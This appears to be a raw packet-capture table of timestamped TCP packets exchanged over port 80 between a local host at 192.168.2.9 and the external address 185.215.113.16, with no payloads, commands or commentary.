Dec 16, 2024 10:38:27.576272011 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.576286077 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.576322079 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.577425957 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.577486992 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.577569962 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.577677965 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.578366995 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.578551054 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.578641891 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.578685999 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.579591036 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.579684019 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.579729080 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.579794884 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.580499887 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.580636024 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.580816031 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.580868959 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.717921019 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.717991114 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.718231916 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.718276978 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.719913960 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.719926119 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.719960928 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.719974041 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.719990969 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.719990969 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.720011950 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.720020056 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.720053911 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.720161915 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.720197916 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.721339941 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.721390963 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.721519947 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.721892118 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.722383022 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.722434998 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.722553968 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.722821951 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.723443985 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.723457098 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.723764896 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.724395990 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.724503994 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.724576950 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.724806070 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.725398064 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.725697041 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.725733995 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.725733995 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.725866079 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.725950956 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.726007938 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.726174116 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.726988077 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.727119923 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.727161884 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.727161884 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.728005886 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.728095055 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.728133917 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.728229046 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.729074955 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.729145050 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.729382038 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.729482889 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.730139017 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.730179071 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.730227947 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.730268955 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.731209993 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.731265068 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.731302023 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.731343985 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.732311964 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.732391119 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.732414961 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.732464075 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.733362913 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.733417034 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.733457088 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.733566999 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.734447956 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.734545946 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.734590054 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.734590054 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.735532999 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.735598087 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.735723972 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.735723972 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.736582041 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.736685038 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.736701012 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.736771107 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.737662077 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.737700939 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.737786055 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.737827063 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.738832951 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.738909006 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.738926888 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.738967896 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.739825964 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.739881039 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.739913940 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.739953995 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.741082907 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.741095066 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.741149902 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.741149902 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.742022038 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.742110968 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.742119074 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.742146969 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.743087053 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.743138075 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.743154049 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.743197918 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.744139910 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.744193077 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.744241953 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.744371891 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.745198965 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.745254993 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.745292902 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.745379925 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.746268988 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.746364117 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.746407032 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.746493101 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.747363091 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.747416019 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.747451067 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.747625113 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.748451948 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.748558998 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.748657942 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.748657942 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.749537945 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.749614954 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.749655962 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.749655962 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.750591993 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.750673056 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.750874043 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.750921011 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.751950026 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.752015114 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.752201080 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.752270937 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.752774954 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.752842903 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.752868891 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.752948046 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.753810883 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.753921032 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.753957033 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.753973007 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.754894018 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.754961967 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.754983902 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.755055904 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.755965948 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.756052017 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.756145000 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.756194115 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.757044077 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.757090092 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.757185936 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.757276058 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.758119106 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.758184910 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.758210897 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.758291006 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.759202003 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.759258032 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.759304047 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.759345055 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.761022091 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.761204004 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.762120008 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.762191057 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.763552904 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.763573885 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.763586044 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.763597965 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.763619900 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.763619900 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.763897896 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.764306068 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.764318943 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.764367104 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.764367104 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.765341043 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.765387058 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.765497923 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.765533924 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.766407967 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.766578913 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.766619921 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.766619921 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.767362118 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.767532110 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.767575979 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.767575979 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.768472910 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.768543959 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.768640041 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.768790007 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.769727945 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.769784927 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.769915104 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.770132065 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.770745993 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.770787954 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.770915031 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.771038055 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.771791935 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.771958113 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.772102118 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.772102118 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.772742033 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.772756100 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.772793055 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.773914099 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.774012089 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.908674002 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.908730030 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.908776999 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.908818960 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.908931971 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.909038067 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.909041882 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.909090996 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.910074949 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.910185099 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.910227060 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.910278082 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.911097050 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.911214113 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.911227942 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.911273956 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.912220955 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.912255049 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.912425041 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.912425041 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.913268089 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.913326025 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.913403034 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.913450956 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.914401054 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.914515018 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.914554119 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.914818048 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.915425062 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.915569067 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.915605068 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.915605068 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.916466951 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.916515112 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.916554928 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.916651011 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.917526960 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.917635918 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.917678118 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.917678118 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.918576002 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.918803930 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.918839931 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.918888092 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.919703007 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.919799089 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.919893980 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.919893980 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.920754910 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.921015978 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.921039104 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.921108961 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.921866894 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.921911955 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.921956062 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.922087908 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.922950029 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.922993898 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.923022985 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.923338890 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.924000978 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.924082041 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.924094915 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.924164057 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.925179005 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.925308943 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.925477982 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.925477982 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.926130056 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.926173925 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.926240921 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.926326036 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.927217960 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.927263021 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.927264929 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.927340031 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.928273916 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.928337097 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.928392887 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.928476095 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.929335117 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.929450989 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.929490089 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.929491043 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.930412054 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.930458069 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.930526018 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.930666924 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.931499958 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.931551933 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.931592941 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.931592941 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.932570934 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.932703018 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.932780027 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.932780027 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.933693886 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.933736086 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.933784962 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.933825016 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.934709072 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.934818029 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.934853077 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.934853077 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.935771942 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.935815096 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.935882092 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.935935020 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.936861992 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.936908007 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.936954021 CET	80	49935	185.215.113.16	192.168.2.9
